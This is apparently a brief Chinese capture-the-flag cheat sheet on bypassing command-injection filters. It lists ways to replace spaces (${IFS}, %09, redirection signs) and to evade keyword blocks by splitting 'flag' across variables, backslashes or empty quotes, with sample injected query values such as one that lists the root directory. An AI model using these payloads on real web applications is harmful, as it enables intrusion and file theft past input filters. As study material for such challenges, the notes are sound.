空格的绕过：
    ${IFS}
    $IFS$9
    %09
    <>
    <

    绕过关键词：
    1、拼接字符串：
    如 ?ip=1;c=fl;d=ag;cat $c$d
    2、添加斜杠
    如 c\at fla\g.php
    3、插入’’
    如cat fl’’ag.php

    ?c=ls${IFS}/%0a查看根目录文件